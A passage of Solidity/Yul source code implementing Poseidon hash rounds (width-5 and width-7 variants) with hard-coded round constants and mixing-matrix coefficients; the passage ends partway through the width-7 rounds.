nt0 := addmod(nt0, mulmod(_t2, 14183033936038168803360723133013092560869148726790180682363054735190196956789, _q), _q)
nt0 := addmod(nt0, mulmod(_t3, 9067734253445064890734144122526450279189023719890032859456830213166173619761, _q), _q)
nt0 := addmod(nt0, mulmod(_t4, 16378664841697311562845443097199265623838619398287411428110917414833007677155, _q), _q)
nt1 := mulmod(_t0, 107933704346764130067829474107909495889716688591997879426350582457782826785, _q)
nt1 := addmod(nt1, mulmod(_t1, 17034139127218860091985397764514160131253018178110701196935786874261236172431, _q), _q)
nt1 := addmod(nt1, mulmod(_t2, 2799255644797227968811798608332314218966179365168250111693473252876996230317, _q), _q)
nt1 := addmod(nt1, mulmod(_t3, 2482058150180648511543788012634934806465808146786082148795902594096349483974, _q), _q)
nt1 := addmod(nt1, mulmod(_t4, 16563522740626180338295201738437974404892092704059676533096069531044355099628, _q), _q)
nt2 := mulmod(_t0, 13596762909635538739079656925495736900379091964739248298531655823337482778123, _q)
nt2 := addmod(nt2, mulmod(_t1, 18985203040268814769637347880759846911264240088034262814847924884273017355969, _q), _q)
nt2 := addmod(nt2, mulmod(_t2, 8652975463545710606098548415650457376967119951977109072274595329619335974180, _q), _q)
nt2 := addmod(nt2, mulmod(_t3, 970943815872417895015626519859542525373809485973005165410533315057253476903, _q), _q)
nt2 := addmod(nt2, mulmod(_t4, 19406667490568134101658669326517700199745817783746545889094238643063688871948, _q), _q)
nt3 := mulmod(_t0, 2953507793609469112222895633455544691298656192015062835263784675891831794974, _q)
nt3 := addmod(nt3, mulmod(_t1, 19025623051770008118343718096455821045904242602531062247152770448380880817517, _q), _q)
nt3 := addmod(nt3, mulmod(_t2, 9077319817220936628089890431129759976815127354480867310384708941479362824016, _q), _q)
nt3 := addmod(nt3, mulmod(_t3, 4770370314098695913091200576539533727214143013236894216582648993741910829490, _q), _q)
nt3 := addmod(nt3, mulmod(_t4, 4298564056297802123194408918029088169104276109138370115401819933600955259473, _q), _q)
nt4 := mulmod(_t0, 8336710468787894148066071988103915091676109272951895469087957569358494947747, _q)
nt4 := addmod(nt4, mulmod(_t1, 16205238342129310687768799056463408647672389183328001070715567975181364448609, _q), _q)
nt4 := addmod(nt4, mulmod(_t2, 8303849270045876854140023508764676765932043944545416856530551331270859502246, _q), _q)
nt4 := addmod(nt4, mulmod(_t3, 20218246699596954048529384569730026273241102596326201163062133863539137060414, _q), _q)
nt4 := addmod(nt4, mulmod(_t4, 1712845821388089905746651754894206522004527237615042226559791118162382909269, _q), _q)
}
function ark(_t0, _t1, _t2, _t3, _t4, _q, c) -> nt0, nt1, nt2, nt3, nt4 {
nt0 := addmod(_t0, c, _q)
nt1 := addmod(_t1, c, _q)
nt2 := addmod(_t2, c, _q)
nt3 := addmod(_t3, c, _q)
nt4 := addmod(_t4, c, _q)
}
function sbox_full(_t0, _t1, _t2, _t3, _t4, _q) -> nt0, nt1, nt2, nt3, nt4 {
nt0 := mulmod(_t0, _t0, _q)
nt0 := mulmod(nt0, nt0, _q)
nt0 := mulmod(_t0, nt0, _q)
nt1 := mulmod(_t1, _t1, _q)
nt1 := mulmod(nt1, nt1, _q)
nt1 := mulmod(_t1, nt1, _q)
nt2 := mulmod(_t2, _t2, _q)
nt2 := mulmod(nt2, nt2, _q)
nt2 := mulmod(_t2, nt2, _q)
nt3 := mulmod(_t3, _t3, _q)
nt3 := mulmod(nt3, nt3, _q)
nt3 := mulmod(_t3, nt3, _q)
nt4 := mulmod(_t4, _t4, _q)
nt4 := mulmod(nt4, nt4, _q)
nt4 := mulmod(_t4, nt4, _q)
}
function sbox_partial(_t, _q) -> nt {
nt := mulmod(_t, _t, _q)
nt := mulmod(nt, nt, _q)
nt := mulmod(_t, nt, _q)
}
// round 0
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 14397397413755236225575615486459253198602422701513067526754101844196324375522)
t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 1
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 10405129301473404666785234951972711717481302463898292859783056520670200613128)
t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 2
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 5179144822360023508491245509308555580251733042407187134628755730783052214509)
t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 3
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 9132640374240188374542843306219594180154739721841249568925550236430986592615)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 4
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20360807315276763881209958738450444293273549928693737723235350358403012458514)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 5
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 17933600965499023212689924809448543050840131883187652471064418452962948061619)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 6
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 3636213416533737411392076250708419981662897009810345015164671602334517041153)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 7
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 2008540005368330234524962342006691994500273283000229509835662097352946198608)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 8
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 16018407964853379535338740313053768402596521780991140819786560130595652651567)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 9
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20653139667070586705378398435856186172195806027708437373983929336015162186471)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 10
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 17887713874711369695406927657694993484804203950786446055999405564652412116765)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 11
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 4852706232225925756777361208698488277369799648067343227630786518486608711772)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 12
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 8969172011633935669771678412400911310465619639756845342775631896478908389850)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 13
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20570199545627577691240476121888846460936245025392381957866134167601058684375)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 14
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 16442329894745639881165035015179028112772410105963688121820543219662832524136)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 15
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20060625627350485876280451423010593928172611031611836167979515653463693899374)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 16
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 16637282689940520290130302519163090147511023430395200895953984829546679599107)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 17
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 15599196921909732993082127725908821049411366914683565306060493533569088698214)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 18
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 16894591341213863947423904025624185991098788054337051624251730868231322135455)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 19
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 1197934381747032348421303489683932612752526046745577259575778515005162320212)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 20
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 6172482022646932735745595886795230725225293469762393889050804649558459236626)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 21
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 21004037394166516054140386756510609698837211370585899203851827276330669555417)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 22
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 15262034989144652068456967541137853724140836132717012646544737680069032573006)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 23
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 15017690682054366744270630371095785995296470601172793770224691982518041139766)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 24
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 15159744167842240513848638419303545693472533086570469712794583342699782519832)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 25
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 11178069035565459212220861899558526502477231302924961773582350246646450941231)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 26
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 21154888769130549957415912997229564077486639529994598560737238811887296922114)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 27
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20162517328110570500010831422938033120419484532231241180224283481905744633719)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 28
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 2777362604871784250419758188173029886707024739806641263170345377816177052018)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 29
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 15732290486829619144634131656503993123618032247178179298922551820261215487562)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 30
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 6024433414579583476444635447152826813568595303270846875177844482142230009826)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 31
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 17677827682004946431939402157761289497221048154630238117709539216286149983245)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 32
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 10716307389353583413755237303156291454109852751296156900963208377067748518748)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 33
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 14925386988604173087143546225719076187055229908444910452781922028996524347508)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 34
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 8940878636401797005293482068100797531020505636124892198091491586778667442523)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 35
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 18911747154199663060505302806894425160044925686870165583944475880789706164410)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 36
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 8821532432394939099312235292271438180996556457308429936910969094255825456935)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 37
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20632576502437623790366878538516326728436616723089049415538037018093616927643)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 38
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 71447649211767888770311304010816315780740050029903404046389165015534756512)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 39
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 2781996465394730190470582631099299305677291329609718650018200531245670229393)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 40
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 12441376330954323535872906380510501637773629931719508864016287320488688345525)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 41
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 2558302139544901035700544058046419714227464650146159803703499681139469546006)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 42
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 10087036781939179132584550273563255199577525914374285705149349445480649057058)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 43
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 4267692623754666261749551533667592242661271409704769363166965280715887854739)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 44
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 4945579503584457514844595640661884835097077318604083061152997449742124905548)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 45
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 17742335354489274412669987990603079185096280484072783973732137326144230832311)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 46
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 6266270088302506215402996795500854910256503071464802875821837403486057988208)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 47
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 2716062168542520412498610856550519519760063668165561277991771577403400784706)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 48
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 19118392018538203167410421493487769944462015419023083813301166096764262134232)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 49
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 9386595745626044000666050847309903206827901310677406022353307960932745699524)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 50
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 9121640807890366356465620448383131419933298563527245687958865317869840082266)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 51
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 3078975275808111706229899605611544294904276390490742680006005661017864583210)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 52
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 7157404299437167354719786626667769956233708887934477609633504801472827442743)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 53
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 14056248655941725362944552761799461694550787028230120190862133165195793034373)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 54
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 14124396743304355958915937804966111851843703158171757752158388556919187839849)
t0 := sbox_partial(t0, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 55
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 11851254356749068692552943732920045260402277343008629727465773766468466181076)
t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 56
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 9799099446406796696742256539758943483211846559715874347178722060519817626047)
t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
// round 57
t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 10156146186214948683880719664738535455146137901666656566575307300522957959544)
t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q)
t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q)
}
return t0;
}
function hash_t5f6p52(HashInputs5 memory i, uint q) internal pure returns (uint)
{
// validate inputs
require(i.t0 < q, "INVALID_INPUT");
require(i.t1 < q, "INVALID_INPUT");
require(i.t2 < q, "INVALID_INPUT");
require(i.t3 < q, "INVALID_INPUT");
require(i.t4 < q, "INVALID_INPUT");
return hash_t5f6p52_internal(i.t0, i.t1, i.t2, i.t3, i.t4, q);
}
//
// hash_t7f6p52
//
struct HashInputs7
{
uint t0;
uint t1;
uint t2;
uint t3;
uint t4;
uint t5;
uint t6;
}
function mix(HashInputs7 memory i, uint q) internal pure
{
HashInputs7 memory o;
o.t0 = mulmod(i.t0, 14183033936038168803360723133013092560869148726790180682363054735190196956789, q);
o.t0 = addmod(o.t0, mulmod(i.t1, 9067734253445064890734144122526450279189023719890032859456830213166173619761, q), q);
o.t0 = addmod(o.t0, mulmod(i.t2, 16378664841697311562845443097199265623838619398287411428110917414833007677155, q), q);
o.t0 = addmod(o.t0, mulmod(i.t3, 12968540216479938138647596899147650021419273189336843725176422194136033835172, q), q);
o.t0 = addmod(o.t0, mulmod(i.t4, 3636162562566338420490575570584278737093584021456168183289112789616069756675, q), q);
o.t0 = addmod(o.t0, mulmod(i.t5, 8949952361235797771659501126471156178804092479420606597426318793013844305422, q), q);
o.t0 = addmod(o.t0, mulmod(i.t6, 13586657904816433080148729258697725609063090799921401830545410130405357110367, q), q);
o.t1 = mulmod(i.t0, 2799255644797227968811798608332314218966179365168250111693473252876996230317, q);
o.t1 = addmod(o.t1, mulmod(i.t1, 2482058150180648511543788012634934806465808146786082148795902594096349483974, q), q);
o.t1 = addmod(o.t1, mulmod(i.t2, 16563522740626180338295201738437974404892092704059676533096069531044355099628, q), q);
o.t1 = addmod(o.t1, mulmod(i.t3, 10468644849657689537028565510142839489302836569811003546969773105463051947124, q), q);
o.t1 = addmod(o.t1, mulmod(i.t4, 3328913364598498171733622353010907641674136720305714432354138807013088636408, q), q);
o.t1 = addmod(o.t1, mulmod(i.t5, 8642889650254799419576843603477253661899356105675006557919250564400804756641, q), q);
o.t1 = addmod(o.t1, mulmod(i.t6, 14300697791556510113764686242794463641010174685800128469053974698256194076125, q), q);
o.t2 = mulmod(i.t0, 8652975463545710606098548415650457376967119951977109072274595329619335974180, q);
o.t2 = addmod(o.t2, mulmod(i.t1, 970943815872417895015626519859542525373809485973005165410533315057253476903, q), q);
o.t2 = addmod(o.t2, mulmod(i.t2, 19406667490568134101658669326517700199745817783746545889094238643063688871948, q), q);
o.t2 = addmod(o.t2, mulmod(i.t3, 17049854690034965250221386317058877242629221002521630573756355118745574274967, q), q);
o.t2 = addmod(o.t2, mulmod(i.t4, 4964394613021008685803675656098849539153699842663541444414978877928878266244, q), q);
o.t2 = addmod(o.t2, mulmod(i.t5, 15474947305445649466370538888925567099067120578851553103424183520405650587995, q), q);
o.t2 = addmod(o.t2, mulmod(i.t6, 1016119095639665978105768933448186152078842964810837543326777554729232767846, q), q);
o.t3 = mulmod(i.t0, 9077319817220936628089890431129759976815127354480867310384708941479362824016, q);
o.t3 = addmod(o.t3, mulmod(i.t1, 4770370314098695913091200576539533727214143013236894216582648993741910829490, q), q);
o.t3 = addmod(o.t3, mulmod(i.t2, 4298564056297802123194408918029088169104276109138370115401819933600955259473, q), q);
o.t3 = addmod(o.t3, mulmod(i.t3, 6905514380186323693285869145872115273350947784558995755916362330070690839131, q), q);
o.t3 = addmod(o.t3, mulmod(i.t4, 4783343257810358393326889022942241108539824540285247795235499223017138301952, q), q);
o.t3 = addmod(o.t3, mulmod(i.t5, 1420772902128122367335354247676760257656541121773854204774788519230732373317, q), q);
o.t3 = addmod(o.t3, mulmod(i.t6, 14172871439045259377975734198064051992755748777535789572469924335100006948373, q), q);
o.t4 = mulmod(i.t0, 8303849270045876854140023508764676765932043944545416856530551331270859502246, q);
o.t4 = addmod(o.t4, mulmod(i.t1, 20218246699596954048529384569730026273241102596326201163062133863539137060414, q), q);
o.t4 = addmod(o.t4, mulmod(i.t2, 1712845821388089905746651754894206522004527237615042226559791118162382909269, q), q);
o.t4 = addmod(o.t4, mulmod(i.t3, 13001155522144542028910638547179410124467185319212645031214919884423841839406, q), q);
o.t4 = addmod(o.t4, mulmod(i.t4, 16037892369576300958623292723740289861626299352695838577330319504984091062115, q), q);
o.t4 = addmod(o.t4, mulmod(i.t5, 19189494548480259335554606182055502469831573298885662881571444557262020106898, q), q);
o.t4 = addmod(o.t4, mulmod(i.t6, 19032687447778391106390582750185144485341165205399984747451318330476859342654, q), q);
o.t5 = mulmod(i.t0, 13272957914179340594010910867091459756043436017766464331915862093201960540910, q);
o.t5 = addmod(o.t5, mulmod(i.t1, 9416416589114508529880440146952102328470363729880726115521103179442988482948, q), q);
o.t5 = addmod(o.t5, mulmod(i.t2, 8035240799672199706102747147502951589635001418759394863664434079699838251138, q), q);
o.t5 = addmod(o.t5, mulmod(i.t3, 21642389080762222565487157652540372010968704000567605990102641816691459811717, q), q);
o.t5 = addmod(o.t5, mulmod(i.t4, 20261355950827657195644012399234591122288573679402601053407151083849785332516, q), q);
o.t5 = addmod(o.t5, mulmod(i.t5, 14514189384576734449268559374569145463190040567900950075547616936149781403109, q), q);
o.t5 = addmod(o.t5, mulmod(i.t6, 19038036134886073991945204537416211699632292792787812530208911676638479944765, q), q);
o.t6 = mulmod(i.t0, 15627836782263662543041758927100784213807648787083018234961118439434298020664, q);
o.t6 = addmod(o.t6, mulmod(i.t1, 5655785191024506056588710805596292231240948371113351452712848652644610823632, q), q);
o.t6 = addmod(o.t6, mulmod(i.t2, 8265264721707292643644260517162050867559314081394556886644673791575065394002, q), q);
o.t6 = addmod(o.t6, mulmod(i.t3, 17151144681903609082202835646026478898625761142991787335302962548605510241586, q), q);
o.t6 = addmod(o.t6, mulmod(i.t4, 18731644709777529787185361516475509623264209648904603914668024590231177708831, q), q);
o.t6 = addmod(o.t6, mulmod(i.t5, 20697789991623248954020701081488146717484139720322034504511115160686216223641, q), q);
o.t6 = addmod(o.t6, mulmod(i.t6, 6200020095464686209289974437830528853749866001482481427982839122465470640886, q), q);
i.t0 = o.t0;
i.t1 = o.t1;
i.t2 = o.t2;
i.t3 = o.t3;
i.t4 = o.t4;
i.t5 = o.t5;
i.t6 = o.t6;
}
function ark(HashInputs7 memory i, uint q, uint c) internal pure
{
HashInputs7 memory o;
o.t0 = addmod(i.t0, c, q);
o.t1 = addmod(i.t1, c, q);
o.t2 = addmod(i.t2, c, q);
o.t3 = addmod(i.t3, c, q);
o.t4 = addmod(i.t4, c, q);
o.t5 = addmod(i.t5, c, q);
o.t6 = addmod(i.t6, c, q);
i.t0 = o.t0;
i.t1 = o.t1;
i.t2 = o.t2;
i.t3 = o.t3;
i.t4 = o.t4;
i.t5 = o.t5;
i.t6 = o.t6;
}
function sbox_full(HashInputs7 memory i, uint q) internal pure
{
HashInputs7 memory o;
o.t0 = mulmod(i.t0, i.t0, q);
o.t0 = mulmod(o.t0, o.t0, q);
o.t0 = mulmod(i.t0, o.t0, q);
o.t1 = mulmod(i.t1, i.t1, q);
o.t1 = mulmod(o.t1, o.t1, q);
o.t1 = mulmod(i.t1, o.t1, q);
o.t2 = mulmod(i.t2, i.t2, q);
o.t2 = mulmod(o.t2, o.t2, q);
o.t2 = mulmod(i.t2, o.t2, q);
o.t3 = mulmod(i.t3, i.t3, q);
o.t3 = mulmod(o.t3, o.t3, q);
o.t3 = mulmod(i.t3, o.t3, q);
o.t4 = mulmod(i.t4, i.t4, q);
o.t4 = mulmod(o.t4, o.t4, q);
o.t4 = mulmod(i.t4, o.t4, q);
o.t5 = mulmod(i.t5, i.t5, q);
o.t5 = mulmod(o.t5, o.t5, q);
o.t5 = mulmod(i.t5, o.t5, q);
o.t6 = mulmod(i.t6, i.t6, q);
o.t6 = mulmod(o.t6, o.t6, q);
o.t6 = mulmod(i.t6, o.t6, q);
i.t0 = o.t0;
i.t1 = o.t1;
i.t2 = o.t2;
i.t3 = o.t3;
i.t4 = o.t4;
i.t5 = o.t5;
i.t6 = o.t6;
}
function sbox_partial(HashInputs7 memory i, uint q) internal pure
{
HashInputs7 memory o;
o.t0 = mulmod(i.t0, i.t0, q);
o.t0 = mulmod(o.t0, o.t0, q);
o.t0 = mulmod(i.t0, o.t0, q);
i.t0 = o.t0;
}
function hash_t7f6p52(HashInputs7 memory i, uint q) internal pure returns (uint)
{
// validate inputs
require(i.t0 < q, "INVALID_INPUT");
require(i.t1 < q, "INVALID_INPUT");
require(i.t2 < q, "INVALID_INPUT");
require(i.t3 < q, "INVALID_INPUT");
require(i.t4 < q, "INVALID_INPUT");
require(i.t5 < q, "INVALID_INPUT");
require(i.t6 < q, "INVALID_INPUT");
// round 0
ark(i, q, 14397397413755236225575615486459253198602422701513067526754101844196324375522);
sbox_full(i, q);
mix(i, q);
// round 1
ark(i, q, 10405129301473404666785234951972711717481302463898292859783056520670200613128);
sbox_full(i, q);
mix(i, q);
// round 2
ark(i, q, 5179144822360023508491245509308555580251733042407187134628755730783052214509);
sbox_full(i, q);
mix(i, q);
// round 3
ark(i, q, 9132640374240188374542843306219594180154739721841249568925550236430986592615);
sbox_partial(i, q);
mix(i, q);
// round 4
ark(i, q, 20360807315276763881209958738450444293273549928693737723235350358403012458514);
sbox_partial(i, q);
mix(i, q);
// round 5
ark(i, q, 17933600965499023212689924809448543050840131883187652471064418452962948061619);
sbox_partial(i, q);
mix(i, q);
// round 6
ark(i, q, 3636213416533737411392076250708419981662897009810345015164671602334517041153);
sbox_partial(i, q);
mix(i, q);
// round 7
ark(i, q, 2008540005368330234524962342006691994500273283000229509835662097352946198608);
sbox_partial(i, q);
mix(i, q);
// round 8
ark(i, q, 16018407964853379535338740313053768402596521780991140819786560130595652651567);
sbox_partial(i, q);
mix(i, q);
// round 9
ark(i, q, 20653139667070586705378398435856186172195806027708437373983929336015162186471);
sbox_partial(i, q);
mix(i, q);
// round 10
ark(i, q, 17887713874711369695406927657694993484804203950786446055999405564652412116765);
sbox_partial(i, q);
mix(i, q);
// round 11
ark(i, q, 4852706232225925756777361208698488277369799648067343227630786518486608711772);
sbox_partial(i, q);
mix(i, q);
// round 12
ark(i, q, 8969172011633935669771678412400911310465619639756845342775631896478908389850);
sbox_partial(i, q);
mix(i, q);
// round 13
ark(i, q, 20570199545627577691240476121888846460936245025392381957866134167601058684375);
sbox_partial(i, q);
mix(i, q);
// round 14
ark(i, q, 16442329894745639881165035015179028112772410105963688121820543219662832524136);
sbox_partial(i, q);
mix(i, q);
// round 15
ark(i, q, 20060625627350485876280451423010593928172611031611836167979515653463693899374);
sbox_partial(i, q);
mix(i, q);
// round 16
ark(i, q, 16637282689940520290130302519163090147511023430395200895953984829546679599107);
sbox_partial(i, q);
mix(i, q);
// round 17
ark(i, q, 15599196921909732993082127725908821049411366914683565306060493533569088698214);
sbox_partial(i, q);
mix(i, q);
// round 18
ark(i, q, 16894591341213863947423904025624185991098788054337051624251730868231322135455);
sbox_partial(i, q);
mix(i, q);
// round 19
ark(i, q, 1197934381747032348421303489683932612752526046745577259575778515005162320212);
sbox_partial(i, q);
mix(i, q);
// round 20
ark(i, q, 6172482022646932735745595886795230725225293469762393889050804649558459236626);
sbox_partial(i, q);
mix(i, q);
// round 21
ark(i, q, 21004037394166516054140386756510609698837211370585899203851827276330669555417);
sbox_partial(i, q);
mix(i, q);
// round 22
ark(i, q, 15262034989144652068456967541137853724140836132717012646544737680069032573006);
sbox_partial(i, q);
